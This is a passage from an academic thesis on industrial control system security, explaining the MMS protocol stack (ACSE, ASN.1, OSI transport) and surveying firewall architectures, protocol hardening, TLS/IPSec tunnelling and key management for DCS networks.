Confirmed-ErrorPDU specifying the service type and the invoke ID from the response
primitive. A state transition into the Responder Idle state then occurs. Upon receipt
2.6. INDUSTRIAL NETWORK PROTOCOL
19
of a Cancel-RequestPDU specifying the invoke ID of the matching service instance, the
MMS-provider issues a cancel indication service primitive specifying the invoke ID of the
service request to be canceled this information is obtained from the Cancel-RequestPDU
parameters. The state Canceling Responder is then entered. The RejectPDU is issued
if the responder receives a malformed PDU [7].
According to [7] the MMS runs on the network stack depicted in figure 2.6. As all ISO
standards this network stack relates to the Open System Interconnection stack describing
the abstract service layers such as session and presentation layer. We will now give a
short description of some of the protocols/layers based on their relevance to this thesis
theme
Figure 2.6: The MMS communication stack specified according to all seven layers of
ISOs OSI communication stack
Application Layer: ACSE
On top of the stack we find ISO’s Association Control Service Element (ACSE) protocol.
This protocol is specified in ISO documents [5] and [4]. ACSE is used to establish and release Application Associations (AA) between Application Entity (AE) and to determine
the identity and application context of that association. An application-association is defined by [5] as the cooperative relationship between two AEs. This relationship provides
the necessary frame of reference between the AEs so that they may interwork effectively.
An application context is an explicitly identified set of application-service-elements, related options and any other necessary information for the interworking of application
entities in an application association.
ACSE supports two modes of communication service: connection-oriented and connectionless. The ACSE connection-oriented service is provided through the connectionoriented mode of the ACSE protocol in conjunction with the connection-oriented presentation layer service [4]. Likewise, for the ACSE connectionless service is provided
20
CHAPTER 2. BACKGROUND
through the connectionless mode of the ACSE protocol in conjunction with the connectionless presentation-service.
For the connectionless service the application-association (AA) exists only during the
invocation of the single ACSE connectionless mode service, named A-UNIT-DATA. The
mappings of the ACSE services to presentation services and ACSE APDUs are shown
in table 2.2.
ACSE service
A-ASSOCIATE
A-RELEASE
A-ABORT
A-P-ABORT
A-UNIT-DATA
APDU
AARQ, AARE
RLRQ, RLRE
ABRT
ABRT
ADAT
Communication mode
Connection oriented
Connection oriented
Connection oriented
Connection oriented
Connectionless
Service type
confirmed
confirmed
non-confirmed
Provider initiated
non-confirmed
Table 2.2: Mapping of ACSE primitives to the ISO presentation layer services [5].
The functionality of an AE is factored into a number of application-service-elements
(ASEs). The interaction between AEs is described in terms of the use of their ASE’s
services[3]. Three functional units are defined for the connection oriented services in
ACSE. Each of the functional units use the services in table 2.2 and communicate
through the APDU’s. Each APDU contains a set of variables, through which information are mediated between the AEs. The mandatory Kernel functional unit is used to establish and release basic application-associations. For enhanced functionality the ACSE
includes two optional functional units. The Authentication functional unit supports the
exchange of information in support of authentication during association establishment.
It provides additional facilities for exchanging information in support of authentication
during association establishment without adding services.
The ACSE authentication facilities may be used to support a limited class of authentication methods, but as we will discuss in section 4.3, none of these methods seem to be
implemented in SISCO’s MMS implementation. These methods are according to [3]:
• Credentials
• Passwords
• Peer-entity authentication
The second optional functional unit supports the negotiation of application context during association establishment [3]. The connectionless mode of ACSE does not have the
notion of functional units. Nor does it support authentication as the connection-oriented
mode of ACSE. As stated in table 2.2, ACSE has a number of services which supports the
creation of application-association and application context. We conclude our summary
of the ACSE by giving a short description of each of the services. For more information
about ACSE we refer to [5], [4] and [3].
2.6. INDUSTRIAL NETWORK PROTOCOL
21
• A-ASSOCIATE: This confirmed service is used to initiate an application association between application entities through the Application Context Name parameter.
• A-RELEASE: This confirmed service is used to release an application association
between application entities without loss of information.
• A-ABORT: This unconfirmed service causes the abnormal release of an association
with a possible loss of information.
• A-P-ABORT: This provider-initiated service indicates the abnormal release of an
application association by the underlying presentation service with a possible loss
of information.
• A-UNIT-DATA: This connectionless service simultaneously establishes and releases
an association.
Presentation Layer: ASN.1
The presentation layer protocol is used to transmit information between open systems
using connection oriented or connectionless mode 2 transmission at the presentation layer
of the OSI 7 layer model [2]. The presentation layer exists to ensure that the information
content of presentation data values is preserved during transfer and to add structure to
the units of data that are exchanged. It has two functions it carries out on behalf of the
upper layers:
• Negotiation of transfer syntax.
• Transformation of syntax.
The transfer syntax negotiation allows presentation protocols to agree on one transfer
syntax. The other task of the presentation layer is to transform the application layer
abstract syntax into transfer syntax and vice versa.
A set of presentation data value definitions associated with an application protocol constitutes an abstract syntax. The abstract syntax specification identifies the information
content of a given set of presentation data values. It does not identify the transfer syntax
to be used while presentation data values are transferred between presentation entities,
nor is it concerned with the local representation of presentation data values [1]. It is
the responsibility of cooperating application entities to determine the set of abstract
syntax they employ in their communication and inform the presentation entities of this
agreement. Knowing the set of abstract syntax to be used by the application entities,
the presentation entities are responsible for selecting mutually acceptable transfer syntax
that preserve the information content and structure of the presentation data values [38].
2
For connectionless mode transmission, the sending presentation entity selects the transfer syntax.
No transfer syntax negotiation occurs.
22
CHAPTER 2. BACKGROUND
Presentation entities support protocols that enhance the OSI session service in order
to provide a presentation service. The role of the presentation layer is to provide a
representation of presentation data values in the User data parameters of session service
primitives [1].
In OSI, ASN.1 is the description language used to define data types [6]. ASN.1 is based
on the Backus system and uses the formal syntax language and grammar of the BackusNauer Form (BNF)[46]. As seen in figure 2.6 MMS uses ASN.1 as abstract syntax
notation at the presentation layer. An abstract syntax notation is the notation used in
defining data structures or set of values for messages and applications. The abstract
syntax notation is then encoded with a set of encoding rules before transmission. These
rules transform any message defined using the abstract syntax notation, in such a way
that the actual bits on the transmission medium carry the semantics of the message to
the receiver. We call such rules encoding rules, and we say that the result of applying
them to a set of abstract syntax notation defined messages for a given application defines
the transfer syntax for that application [30].
A collection of ASN.1 definitions relating to a common theme (e.g., a protocol specification) is termed an ASN.1 module. Each module is constructed using the same high level
syntax:
<module> DEFINITIONS ::=
BEGIN
<linkage>
<declarations>
END
The <module> term names the module. It consists of two parts:
• A module name: A name that provide a textual description of the module.
• An (optional) object identifier: An identifier that provide an authoritative
name for the module. This name unambiguously distinguishes the module from
all other defined ASN.1 modules.
The <linkage> term relates this module with other modules. It may include object definition imports from other modules and may define which object definitions this module
wishes to export. The last part of the module, the <declaration> term, contains the actual ASN.1 object definitions. There are three kinds of objects defined using ASN.1; type,
value and macros. All ASN.1 objects are named using an alphabetic case convention to
indicate the kind object the name refers to:
2.6. INDUSTRIAL NETWORK PROTOCOL
23
• Type, the name starts with an uppercase letter, (e..g, Ipaddress). This convention
applies to both simple types and structured types.
• Value, the name starts with a lowercase letter (e.g., ipNetToMediaPhysAddress).
• Macro, the name consists entirely of uppercase letters (e.g., OBJECT IDENTITY).
ASN.1 types are defined using the syntax below:
NameOfType ::= TYPE
ASN.1 distinguishes between two kinds of data types; simple and structured. [6] defines a
set of simple data types (e.g., INTEGER, BOOLEAN) and provide a facility to construct
new elements, structured data types3 , with their own typing inherited in the structure.
This allows new data types to be defined which are uniquely identifiable within an
application [38]. The structured types may have optional components, possibly with
default values. Structured data types use the keywords listed below to construct such
data types.
• SEQUENCE an ordered collection of one or more types.
• SEQUENCE OF an ordered collection of zero or more occurrences of a given
type.
• SET an unordered collection of one or more types.
• SET OF an unordered collection of zero or more occurrences of a given type.
[30]
To eliminate ambiguity and provide unique identification of data types when they are
transmitted over the network, ASN.1 associates each data type with a tag. This tag is a
handle that identifies a particular ASN.1 data type. Tagging is also used to distinguish
component types within a structured type. For instance, optional components of a
SET or SEQUENCE type are typically given distinct context-specific tags to avoid
ambiguity[30]. Other keywords which are relevant for this thesis are CHOICE, ANY,
OPTIONAL and DEFAULT. We include a short explanation of these keywords, but we
recommend [38] and [30] for a more thorough explanation.
The CHOICE type denotes a union of one or more type alternatives. The ANY type
denotes an arbitrary value of an arbitrary type, where the arbitrary type is possibly
defined in the definition of an object identifier or integer value. The keyword DEFAULT
indicates that the value of a component is optional, and assigns a default value to the
component when the component is absent. Objects with default values, are assumed
to use the default value unless another value is transmitted. As we shall see in section
4.2 default values are not encoded in Basic Encoding Rules (BER) for transmission.
3
Structured data types are sometimes referred to a constructor types as seen in [38]
24
CHAPTER 2. BACKGROUND
OPTIONAL types in module definition are optional to use and are not encoded to BER
unless used.
A tag consists of two parts, a class, which is an optional class name, and a number,
which is the tag number within the class represented as a non-negative integer[30]. The
tags are classified into four classes, based on different requirements on the tags [30]:
1. Universal: Available for use within any protocol. The primitive data-types INTEGER, OCTET string, OBJECT IDENTIFIER, and NULL, are universal.
The basic constructors, such as SEQUENCE, also are universal.
2. Application: Available within a specific application. For example, the IpAddress data-types is available for use throughout the TCP/IP network management
application.
3. Context specific: This data-type is contained in a larger data-type. The identifier
has a unique meaning within the context of the larger data-type. The Context
specific data type is used in the MMS protocol.
4. Private: Included so that ASN.1 could be used by private organizations to define
proprietary data-types.
There are two ways to tag a type: implicitly and explicitly.
Implicitly tagged types are derived from other types by changing the tag of the underlying type. Implicit tagging is denoted by the ASN.1 keywords {{class} {number}}
IMPLICIT.
Explicitly tagged types are derived from other types by adding an outer tag to the
underlying type. In effect, explicitly tagged types are structured types consisting of one
component, the underlying type. Explicit tagging is denoted by the ASN.1 keywords
{{class} {number}} EXPLICIT.
The tag {{class}{number}} alone is the same as explicit tagging, except when the module
in which the ASN.1 type is defined, has implicit tagging by default.
For purposes of encoding, an implicitly tagged type is considered the same as the underlying type, except that the tag is different. An explicitly tagged type is considered
like a structured type with one component, the underlying type. Implicit tags result in
shorter encodings, but explicit tags may be necessary to avoid ambiguity if the tag of
the underlying type is indeterminate (e.g., the underlying type is CHOICE or ANY ).
ASN.1 uses the concept of values to define an instance of a type. These values are
often referred to as abstract values to emphasize that we are considering them without
any concern for how they might be represented in a computer or on a communication
medium. ASN.1 values are defined using the syntax below:
nameOfValue NameOfType ::= VALUE
2.6. INDUSTRIAL NETWORK PROTOCOL
25
Finally, ASN.1 uses macros to allow users to define additional semantic information.
Macros allows the ASN.1 grammar to be extended to meet the future needs of the
abstract syntax designer[38]. ASN.1 macros are defined using the syntax below:
<macro> MACRO ::=
BEGIN
TYPE NOTATION
::= <type syntax>
VALUE NOTATION ::= <value syntax>
<supporting syntax>
END
The <macro> term names the macro, the <type syntax> defines the grammar rules
which follows later in the macro definition. Each instance of the macro has a value
associated with it, the <value syntax> defines the possible values that the macro instance
may take on. The <supporting syntax> provides any additional grammar rules for either
the macro’s type or value notation. For more information on the specifics of ASN.1 we
refer to [6], [30] and [38].
Transport Layer
The OSI Transport layer protocol (ISO-TP) is described in ISO 8073 and depicted in
figure 2.6. It manages sequencing, error control and error recovery on an end-to-end basis
to ensure complete and correct data transfer. The OSI Transport layer protocol also
performs the translation of transport addresses to network addresses and is responsible
for flow control, multiplexing and demultiplexing of transport connections. There are five
transport layer protocols defined in the OSI suite, enumerated from Transport Protocol
Class 0 through Transport Protocol Class 4. These protocols increase in complexity
from 0-4. We will give a short description of each class before we look further into
Transport Protocol Class 4 which is relevant for this thesis. We will use TCP as a basis
of comparison as most readers will be more familiar with TCP:
• Transport Protocol Class 0 (TP0) performs segmentation (fragmentation) and reassembly functions. TP0 discerns the size of the smallest maximum PDU supported by any of the underlying networks, and segments the packets accordingly.
The packet segments are reassembled at the receiver.
• Transport Protocol Class 1 (TP1) performs segmentation (fragmentation) and reassembly, plus error recovery. TP1 sequences PDUs and will retransmit PDUs or
re-initiate the connection if an excessive number of PDUs are unacknowledged.
26
CHAPTER 2. BACKGROUND
• Transport Protocol Class 2 (TP2) performs segmentation and reassembly, as well
as multiplexing and demultiplexing of data streams over a single virtual circuit.
• Transport Protocol Class 3 (TP3) offers error recovery, segmentation and reassembly, and multiplexing and demultiplexing of data streams over a single virtual
circuit. It will only work with connection-oriented communications, in which a
session must be established before any data is sent. TP3 also sequences PDUs
and retransmits them or re-initiates the connection if an excessive number are
unacknowledged.
• Transport Protocol Class 4 (TP4) offers error recovery, performs segmentation and
reassembly, and supplies multiplexing and demultiplexing of data streams over a
single virtual circuit. TP4 sequences PDUs and retransmits them or re-initiates
the connection if an excessive number are unacknowledged. TP4 provides reliable
transport service and functions with either connection-oriented or connectionless
network service. TP4 is the most commonly used of all the OSI transport protocols,
and is similar to the TCP in the TCP/IP suite.
[32]
Both TP4 and TCP are designed to provide a reliable connection oriented end-to-end
transport service on top of an unreliable network service. This service is sometimes
referred to as COTP is other literature. The underlying network service may lose packets,
store them, deliver them in the wrong order or even create duplicate packages. Both
protocols have to be able to deal with network problems e.g. a sub network stores valid
packets and sends them at a later time. TP4 and TCP have a connection, transfer and a
disconnection phase. The principles of these phases are also quite similar. One difference
between TP4 and TCP is that TP4 uses ten different TPDU (Transport Protocol Data
Unit) types whereas TCP knows only one. This makes TCP a simpler protocol, but adds
the cost of increased overhead as every TCP header has to contain all possible header
fields. Therefore the TCP header is at least 20 bytes long whereas the TP4 header takes
at least 5 bytes. TP4 provides a connection oriented message based service, whereas
TCP provides a connection oriented byte based service. Therefore, sequence numbers
enumerate and confirm TPDUs on an per message level rather than on a per byte level.
Next, sequence numbers are not initiated from a clock counter as in TCP, but rather
start from 0. A destination reference number is used to distinguish between connections.
This number is similar to the destination port number in TCP, but here the reference
number maps onto the port number and can be chosen randomly or sequentially. Another
difference is the way both protocols react in case of a call collision. TP4 opens two
bidirectional connections between the TSAPs whereas TCP opens just one connection.
TSAP is similar to the port concept used in TCP. TP4 uses a different flow control
mechanism for its messages, it also provides means for quality of service negotiation and
measurement.
2.7. RELATED WORK
2.7
27
Related work
Byres et al. [11] presents a study to test a DCS protocol to determine if it had vulnerabilities that could be exploited. They focus the need for new and efficient tools to test
the network security robustness of industrial control devices. Byres et al. have created a
framework, blackPeer, in which a test could express a large number of test cases using a
formal language. The framework language is based on an attribute grammar. Attribute
grammars can solve the test oracle problem as the contextual information can allow for
the production of test data along with the output expected from the device under testing.
Attribute grammars can also generate semantically meaningful sequences of PDU’s. In
this thesis we will examine a DCS protocol for vulnerabilities, but without the support
of a formal framework.
Byres et al. have tested the protocol Modbus over TCP. We will in this thesis focus on
Manufacturing Message Specification (MMS), analyzing the protocol and it’s security
functionality to try to determine possible vulnerabilities in the protocol.
Byres et al. tested two major brands of industrial controllers running the Modbus/TCP
protocol. Using the blackPeer framework, they automated the generation of selectively
malformed protocol traffic and measured the Device Under Testings (DUT) behavior in
response to this traffic. In this paper they test two major industrial brand controllers.
They ran approximately 5000 protocol conformance tests against the industrial controllers and detected more than 60 categories of errors. The majority of these errors
were incorrect responses to malformed traffic from the controllers. They also discovered
that malformed packets caused the devices to respond in inappropriate ways. In this
thesis we will broaden the scope and test one industrial controller as well as several
industrial managed switches using a variety of tools. We have mainly focus on using
open source tools, with the exception of the Mu-4000 protocol fuzzer purchased by ABB
Corporate Research Center. As industrial devices converge on an IP platform and have
integrated web servers and other applications known from the IT world, we have not
limited ourselves to only testing the devices for vulnerabilities in industrial protocols
but also included other IP based protocols running on the devices.
Based on their findings Byres et al. state that it would be relatively simple for an
attacker to inject malicious traffic into a system, and that this could result in the plant
operator losing complete view or control of the control device. We will, based on our
analysis of the MMS protocol, try to inject custom crafted traffic into the system to
determine the feasibility of such an attack.
Chapter 3
State of the Art
Information security for DCS systems is a relatively new research subject, and there
is currently a lot of research effort put into this discipline. As stated in section 2.1.1;
IT security requirements center around confidentiality, integrity and availability issues,
the operational requirements are different in automation and DCS systems. The most
important requirement in these systems is safety; i.e. the absence of catastrophic consequences for humans and environment. However, as a malicious attack on a plant may
endanger the plant’s safety, information security is becoming a factor in a plants safety.
As all the new developments in this field of research are too many be summarized here,
we only aim to present some developments that we feel are related to our assignment. We
will particularly focus on security functionality that is commonplace in the information
security world, but seem lacking in the automation industry.
3.1
DCS Networks and Firewalls
A normal defense strategy to protect a network is to use layers of firewalls to separate different zones of trust. As described in section 2.4.2 there are different classes of
firewalls who inspect the packages at different levels in the network stack. To use these
technologies to protect DCS networks, special considerations must be made with regards
to real time traffic and communication patterns. This implies that it may not possible
to buffer real-time traffic for an application level packet inspection due to induced delay
in critical monitoring systems. On the other hand, a firewall may be unable to inspect
an IP package at application level if it does not recognize the protocol. This is often the
case in DCS networks as, to our knowledge, firewall vendors do not implement support
for higher level DCS protocols in their products. One consequence of this might be that
DCS networks have less that optimal control over network traffic passing through the
firewall.
In [10] Byres et al. have performed a survey of the documentation from security and con28
3.1. DCS NETWORKS AND FIREWALLS
29
trol system vendors, standards bodies and end-users. The survey resulted in eight overall
architectures to protect DCS networks from corporate networks. We have included a list
of the different architectures below, but for the specific details on each architecture we
refer to [10]:
1. Dual homed computers
2. Dual homed server with personal firewall
3. Packet filtering router/layer 3 switch
4. Two port firewall
5. A router/firewall-based combination
6. Firewall with demilitarized zones
7. Paired firewalls
8. A firewall/VLAN-based combination
They rate the different firewall configurations on three criteria as seen in figure 3.1. Each
criteria is rated on a scale from one to five. The score of the segregation strategies are
compared in figure 3.1. Byres et al. discusses the different strategies in [10], but we have
chosen to include their comments on the comparison.
Figure 3.1: Comparison chart for the enumerated DCS segregation architectures listed
above as proposed by the NISCC.
30
CHAPTER 3. STATE OF THE ART
Byres et al. state that the non-firewall (numbered one, two and three in figure 3.1) based
solutions, does, on a general basis, not provide suitable isolation between the DCS and
corporate network. They regard the two zone solutions without a DMZ (numbered four
and five), as marginally acceptable but they recommend that it should only be deployed
with extreme care. We observe, despite that solution four got full score on security,
it is only regarded as marginally acceptable by Byres et al. The three zone solutions
(numbered six, seven and eight) including a DMZ, achieve the highest overall score and
are recommended by Byres et al. as the most scalable, manageable and secure solution.
As stated earlier, at the present time most firewall manufacturers are focused on the
traditional Internet protocols and are unaware of the issues presented by industrial protocols, making some of the firewall technologies described in section 2.4.2 less efficient.
If the firewall does not recognize the application level protocol it is inspecting, it can
only rely on information from known lower level protocols to make a filtering decision.
The industrial devices themselves have no ability to perform packet filtering to restrict
which hosts may connect to the device or to filter individual messages on application
protocol level. This is due to the limited CPU and memory available on such devices.
Currently, the solution used is to filter via a firewall or router access control lists based
on TCP port. This provides the end devices with on protection on the application level
as the firewall only makes filtering decisions based on IP addresses, TCP port numbers
and protocol flags. This means that any malicious application level command will be
accepted by the firewall as it has no way of inspecting the PDU above the TCP header.
To try to remedy this situation there is an open source project at Sourceforge [Mod07a]
that have added support for MODBUS1 over TCP to Linux IPTables2 to determine
the feasibility of adding fine-grained access controls for a automation protocol within a
general purpose firewall devices [Mod07a]. This tool enables the firewall to inspect the
function code of the MODBUS PDU header. The function code is a one byte header
(with values from 1-255) that instructs the receiving device what action it shall perform.
The function codes are usually read and write operations to registers and coils resulting in
sending commands to a attached device e.g., a motor. For more details on the MODBUS
protocol and the MODBUS over TCP specification we refer to [Mod07b]. We have been
unable to find any similar projects for the MMS but have chosen to include the MODBUS
firewall project to show that DCS Protocol Aware Firewalls are possible to implement
and maintain. But now we will look beyond the firewall, at DCS communications.
1
MODBUS is one messaging standard for communication among industrial devices, including DCS
systems. It is built on an client server architecture similar to that of MMS. MODBUS has recently been
ported to TCP/IP networks. MODBUS/TCP is commonly used by Java applets or ActiveX controls,
whereby a user can connected to the embedded web server on an industrial device download the webbased interface for monitoring the end-device and its IO points. Modbus/TCP has no built-in security
mechanisms for authenticating or authorizing the initiator of a request.
2
Iptables is a userspace command line program used to configure the Linux 2.4.x and 2.6.x kernels IP
v4 packet filtering ruleset Technically IPTables is merely the tool which controls the packet filtering and
Network Address Translation (NAT) components within the kernel, the name IPTables is often used to
refer to the entire infrastructure, including Netfilter, connection tracking and NAT.
3.2. SECURING DCS COMMUNICATION
3.2
31
Securing DCS Communication
Earlier, much of the security in DCS communication systems came from the use of
proprietary protocols instead of the well known open alternatives, leased lines and dialup lines with secret phone numbers. As leased lines can be tapped, unknown protocols
reversed engineered and phone numbers war-dialed, these ”security through obscurity”
measures provide very little real security. Very few DCS protocols have built in security
as they were designed to maximize other features. In [25] Graham and Patel state that
there are three approaches to enhance the security of DCS protocols.
• Alter the protocols fundamentally, including the lacking security functionality
• Alter the DCS application.
• Wrapping the DCS protocol inside another protocol, without making changes to
the DCSprotocol itself.
We will now look a bit closer these approaches and link them to other relevant issues
and technologies.
3.2.1
Enhanced DCS Protocols
By making enhancements to known protocols the protocol itself could provide security
services for data objects which associate security with distinct chunks of data [25]. By
moving a piece of security information associated with the actual data through the network one obtain a security mechanism independent of lower layers. The most realistic
use of object security in DCS protocols would be the inclusion of a time stamp and a
message authentication code to prevent replay and man in the middle attacks. Object
security mechanisms are often referred to as security wrappings and tend to be protocol specific, e.g., S/MIME for Simple Mail Transfer Protocol (SMTP). Chevalier et al.
propose in [13] a A High Level Protocol Specification Language for Industrial SecuritySensitive Protocols. As a serious flaw in the enhancement process could have catastrophic
consequences, this method may be used as a formal tool to remove implementation errors in the error-prone process of redesigning a DCS protocol. Stamp et al. [43] take a
more overall view and state that the security of future DCS systems depend on three
elements.
• Security administration: Secure implementations of technology and procedures
managed by effective security administration including enforcement and audit.
• Improved Technology: Better security technology, including DCS-specific capabilities
• Third-party Assessment: Third-party assessment of administration and implementation
32
CHAPTER 3. STATE OF THE ART
Stamp et al. [43] state that the key element of effective security administration is the
need for dedicated security personnel who are knowledgeable about DCS systems. They
argue that only through constant evaluation and maintenance can DCS security be sustained; therefore, effective and sustainable security for DCS depends on effective security
management. The need to have a formalized set of best practices and management procedures, similar to ITIL, is clear, as not every company can afford to hire specialized
security personnel. To remedy this the Information Technology Laboratory (ITL) at
the U. S. National Institute of Standards and Technology (NIST) has published a draft
named guide to supervisory Control and Data Acquisition (SCADA) and Industrial Control systems Security [45]. This document contains guidelines for establishing secure
industrial control systems and can be used as a reference guide to terms and concepts.
The need for improving DCS technology in regard to DCS security issues is clear. When
most of the DCS protocols where specified, security was not a major issue. So to remedy
this situation Stamp et al. [43] state that one of the desirable advancements in DCS
technology is the development of secure DCS protocols. These protocols must address
the security issues lacking in today’s protocols such as object security at application
level, message integrity and encryption. Stamp et al. give voice to the opinion that
the vendors and implementers industry will react favorably to the industry’s desire for
DCS security features when the opportunity to gain competitive edge through security
capabilities become apparent. An indication that the industry is starting to realize this
may by that we are writing this thesis and looking into specific security issues with
regard to DCS networks. Stamp et al. also points out that the standards bodies can
facilitate security amelioration in DCS protocols by educating stakeholders, in addition
to influencing efforts within to focus on protocol security.
Swaminathan et al. [47] describe a generic protocol by which network security can be
included in existing Fieldbus systems. Even though their solution does not provide object
security, we have chosen to include it here as an example of protocol enhancement. The
enhancement makes use of a 56-bit Data Encryption Standard (DES) cipher for dataencryption through a digital signal processor. Swaminathan et al. state that, as these
digital signal processors are already embedded in many state-of-the-art field devices
today, no additional hardware upgrade is required to make the transition to the secure
protocol. Even though a 56 bit DES cipher is no longer considered secure3 , it is a step
towards a more secure protocol. We clearly see the need to make a trade-off between
key length and the limited processing power available in embedded devices. The Third
party assessment from Stamp et al. [43] will be discussed in section 3.5.
3
In 1998 the Electronic Frontier Foundation won the RSA DES Challenge II-2 contest by breaking
the 56-bit DES key in less than 3 days [DES07].
3.2. SECURING DCS COMMUNICATION
3.2.2
33
Enhancing the DCS Application
Instead of changing the DCS protocol, security can be enhanced by applying standard
security technologies to DCS applications. The process of enhancing DCS applications
will most likely involve changes in data and control structures in the application as well
as revising the message format to accommodate security features such as authentication
and encryption. This approach provides end to end security at the application level,
and can be tailored to the applications needs. It is important to note that it will always
be the entities with least processing power and memory who will place an upper bound
on the security features implemented in the application. We feel that the altering of
message format is an enhancement of the DCS protocol and not an enhancement of the
DCS application as Graham and Patel [25] argue. Even though e.g., MMS is defined
through ASN.1 structures and ASN.1 resides at the OSI presentation layer, we still think
of MMS as a protocol and not so much as a part of the application. We realize that
the boundary between application and protocol at the application level of the protocol
stack are diffuse, but we would argue that an alteration of the MMS message format is
an enhancement of the protocol.
Graham and Patel point out that there might be export and licensing issues related to encryption which must be dealt with. In DCS applications, data integrity and data origin
assurance might be more important than pure encryption as it prevents man-in-themiddle attacks. Such functionality can be implemented through message authentication
objects or hash algorithms. The Distributed Network Protocol (DNP3) technical committee has estimated that a total of 59 to 77 bytes must be added to every protected
message [25]. As the processing time of encryption versus hashing may be different, [25]
proposes to only encrypt control messages, but to authenticate all messages. Hash algorithms for authentication has the advantage that it may be implemented in hardware
and thus removing the load of hashing from the main processing unit, but the cost of
such a chip might be prohibitive.
3.2.3
Wrapping and Tunneling
This approach involves tunneling the DCS protocol inside another protocol and is the
most commonly used approach today. Depending on which level we want the tunnel,
we can use different protocols and security protocols. In table 3.1 we present common
security protocols and their features. The two most used security protocols for tunneling
in DCS networks today are Transport Layer Security (TLS)4 or IPSec5 .
4
TLS is a replacement for Netscape’s earlier Secure Sockets Layer (SSL) protocol. Protocols such as
HTTP, IMAP, POP3, and SMTP use TLS to establish secure connections over a network.
5
IPSec (Internet Protocol Security) is a standard for security at the network layer. IPSec is used
in virtual private networks (VPN) and for remote user access through dial-up connection to private
networks. IPSec ensures confidentiality, integrity, and authenticity of data communications across a
public network.
34
CHAPTER 3. STATE OF THE ART
layer
Protocol
SOAP
Application
SMTP
HTTP
Transport
TCP
Internet
IP
PPP
Bluetooth
WLAN 802.11
Link
Security protocol
WS-security
PGP/GnuPG
S/MIME
HTTP digest
SSH
SSL/TLS
IPSec
CHAP/PAP
Bluetooth security
WEP/WPA/802.1X
Confidentiality
yes
yes
yes
no
yes
yes
yes
no
yes
yes
Integrity
yes
yes
yes
no
yes
yes
yes
no
yes
yes
Authentication
data origin
message
message
user
server
server
host
client
device
device
Table 3.1: The network layers and common security protocols [19].
Transport Layer Security (TLS)
TLS is already well known for securing web communication between clients and servers.
TLS provides secure communications over TCP/IP and is used in e.g., commercial online
stores. TLS technology provides mutual authentication and integrity through the use
of digital signatures and confidentiality through encryption, and protects against both
man in the middle and replay attacks. By wrapping the DCS protocol in a TLS wrapper
we get a fast and cost-effective solution as no changes will be made to any protocols.
The TLS protocol includes two sub-protocols: the TLS record protocol and the TLS
handshake protocol. The TLS record protocol defines the format used to transmit data.
The TLS handshake protocol involves using the TLS record protocol to exchange a
series of messages between an TLS-enabled server and an TLS-enabled client when they
first establish an TLS connection. TLS is based on asymmetric keys (PKI) and each
host possesses a certificate, e.g., X.509 certificates, and uses these certificates in TLS
handshake protocol (the four-way handshake) to establish a shared session key[17].
There have been found several vulnerabilities in TLS, e.g., [Mul07], so to use this approach in DCS and other critical systems would require a strict patch regime of TLS
implementation.
TLS relies on TCP to provide reliable network transport, and can therefore not secure
UDP communication, so this approach may not be useful for protocols using both TCP
and UDP.
Internet Protocol Security (IPSec)
Security can also be implemented at the network layer through IPSec. IPSec is based
on the concept of two (or more) hosts sharing a security association (SA) and in used in
Virtual Private Network (VPN). An SA may be seen as the establishment/exchange of
3.2. SECURING DCS COMMUNICATION
35
shared security information between two network entities to support secure communication. IPSec can be run in either tunnel mode or transport mode. Tunnel mode is mostly
used between gateways, or between end-users and a gateway; the gateway acting as a
proxy for the hosts behind it. In this mode the whole IP package is protected by IPSec
headers as it is encapsulated in another IP package before it is sent between tunnel endpoints. In Transport mode it is only the IP payload that is protected by IPSec headers.
It is used between end-users or between an end-user and a gateway, if the gateway is
being treated as a host.
IPSec provides authentication and encryption services through two PDU headers. The
authentication header (AH) provides several types of protection [23]:
• Connectionless integrity: This functionality guarantee that the message that
is received is the exact one that was sent and that no message tampering has
occurred.
• Data origin authentication: This functionality guarantee that the message in
fact was sent by the apparent originator and not by another user masquerading as
the supposed message originator.
• Replay protection: This functionality assures that the same message is not
delivered multiple times and that messages are not delivered grossly out of order.
The use and implementation of replay protection is optional.
The other IPSec header is the Encapsulating Security Payload (ESP) header. The ESP
header provide the following functionality.
• Confidentiality: A guarantee that, even if the message is read by an eavesdropper, the contents are not understandable except to the authorized recipient.
• Traffic analysis protection: This functionality is only available in tunnel mode.
It assures that an eavesdropper cannot determine who is communicating with
whom or the frequency and volume of communication between specific entities.
Before IPSec sends authenticated or encrypted data, all entities sharing an SA must
agree on the encryption algorithm and key or keys to use. IPSec uses the Internet Key
Exchange (IKE) protocol as a framework to establish and negotiate keys. The first
phase is to use Internet Security Association and Key Management Protocol (ISAKMP)
to establish a secure, authenticated channel, an SA, between the communicating peers.
This is called the ISAKMP Security Association (SA). Using this SA the two peers
generate a Diffie-Hellman6 shared value that is used as the basis for a symmetric key.
This key is then used to encrypt further IKE communication for negotiation of an IPSec
6
For more information on the Diffie-Hellman key exchange we refer to [37]. Some implementations
might use the OAKLEY Key Determination Protocol instead of pure Diffie-Hellman. The OAKLEY
protocol is based on Diffie-Hellman but provides added security through authentication of the participants in the Diffie-Hellman exchange and protection against replay attacks through nounces. For more
information on OAKLEY we refer to [34]
36
CHAPTER 3. STATE OF THE ART
SA [23]. IPSec can also use a Public Key Infrastructure (PKI) solution to negotiate the
symmetric keys.
3.2.4
Key Management in DCS Networks
As we have seen above, both the TLS and IPSec, as well as the secure Fieldbus [47],
solution are keyed solutions, i.e. all communication entities must possess a key before
secure communication may commence. Both symmetric and public techniques are used
in DCS networks and the use of keys pressent new issues regarding key management,
which must be addressed. This could be especially important in DCS networks as some
of the communicating parties might sit on the top of a pole in some remote location
or in an environment not suited for humans. A secure channel for key distribution and
revocation is needed for key management in such systems. One must assume that any
device possessing a key exhibits a reasonable physical security to protect the key. In
[9] Beaver et al. propose a key management solution for DCS systems, introducing
a Cryptographic authority (CA) to the DCS network. This entity also doubles as a
key distribution center responsible for generation, distribution and revocation of keys.
Swaminathan et al. [47] also introduce a key distributor entity on the highest network
level in the secure Fieldbus protocol. They also used a time-stamp in the key exchange
process to ensure the freshness of the key. The solution of Beaver et al. [9] uses both
symmetric and public key cryptography. Peer to peer communication uses public key
cryptography and master-slave communication is based on symmetric keying. They also
propose to distribute the first long term key manually during installation of the device.
Based on this long term key they generate a key hierarchy in cooperation with the CA.
In A Key Management Architecture for SCADA Systems [14] Dawson et al. proposes a
new system, SCADA Key Management Architecture (SKMA), based on that of Beaver
et al. [9] with the following advantages. SKMA is purely based on symmetric encryption techniques, simplifying implementation and minimizing overhead. By removing the
public key cryptography, the process of encryption becomes less processor intensive as
simpler encryption schemes such as RC4 [18] may be used. Also implementation time will
be reduced as one does not have to differentiate between peer-to-peer and master-slave
communication. This also reduces the number of keys that must be stored in each device
